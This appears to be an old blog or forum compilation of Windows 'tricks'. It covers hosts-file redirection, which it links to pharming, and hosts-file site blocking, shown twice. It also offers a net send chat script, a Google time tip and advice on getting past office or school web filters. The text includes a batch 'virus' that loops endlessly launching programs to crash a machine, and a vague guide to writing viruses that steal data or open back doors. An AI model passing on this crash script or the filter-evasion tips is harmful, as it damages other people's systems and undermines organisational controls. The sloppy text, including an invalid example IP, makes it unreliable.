Host Redirection...

Now I'll add a little more...

This is called "Host Redirection"...

1. ping www.google.com...u will get the IP...

2. just add "" in the host file...

Ex: 10.20.3.133 www.yahoo.com

3. Now try to open yahoo...the google page will be displayed...

This method is use in PHARMING ATTACK...

Block Websties By a simple logic, Steps:

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.dbrothersatyam.blocspot.com , and that site will no longer be accessable.
5] Done!
-So-
127.0.0.1 localhost
127.0.0.2 www.dbrothersatyam.blocspot.com
-->www.dbrothersatyam.blocspot.com is now unaccessable<--
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.
IE: 127.0.0.3 www.dbrothersatyam.blocspot.com
127.0.0.4 www.dbrothersatyam.blocspot.com
127.0.0.5 www.dbrothersatyam.blocspot.com
etc

haw can creat A Batch Virus...

1. open a notepad.
2. write:

@echo off
:loop
start notepad
start winword
start mspaint
start write
start cmd
start explorer
start control
start calc
goto loop

3. save as anyname.bat.

Run the Batch file...

N.B: TO AVOID SYSTEM CRASH DELETE THE LOOP.

how can i create virus

A computer virus is a computer program that can copy itself and infect a computer.

First u have to think how would u infect the victim...

Like crash the system or malfunction a program or create a back door or steal data...

Then u need to develop the algorithm...

Like the main logic development, registry patch, stealth mode etc...

Last the coding...

U can code in C, C++, Java Script, VB etc...

But the ultimate requirement is Social Engineering...

Chat With Command Prompt.

If you want personal chat with a friend
you don't need to download any yahoo messenger
All you need is your friends IP address and Command Prompt.
Firstly, open Notepad and enter:
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
Now save this as "Messenger.bat". Open the .bat file and in Command
Prompt you should see:
MESSENGER
User:
After "User" type the IP address of the computer you want to contact.
After this, you should see this:
Message:
Now type in the message you wish to send.Before you press "Enter" it should look like this:
MESSENGER
User:27.196.391.193
Message: Hi
Now all you need to do is press "Enter", and start chatting!

Block Websites Without Software.

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessible.
5] Done!
-So-
127.0.0.1 localhost
127.0.0.2 www.blockedsite.com
-->www.blockedsite.com is now inaccessible<--
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the add like before.
IE: 127.0.0.3 www.xyz.com
127.0.0.4 www.abc.com
127.0.0.5 www.def.com

Check time on the internet.

Google search offer cool tool to find time of any place around the ground
Just go to google.com and type any of the following

time in new york
time in delhi

time in <<>

you will get the the time..
Its gud for people you need to adjust thier comp time after every reboot..
this trick will not work for all cities and towns .However the following website can get the most
www.worldtimezone.com

Access restricted/blocked sites.

you are in office or school or university campus where Certain website is blocked, either by the office administrator or by your organization then you can access it easily without any hassles. This can also be tried by users living in countries where a particular website is blocked by their ISP. There are 2 sites that can help:

1.Just go to www.cooltunnel.com and type in the name of any site you want to access. This works for Orkut and other blocked sites too.
2.There is one more site www.gravitywars.com .This is updated regularly
you can also -- run àcmdàwrite à ping www.anything.com

u'll gt th ip address. then jst copy nd paste it in the url box to open it.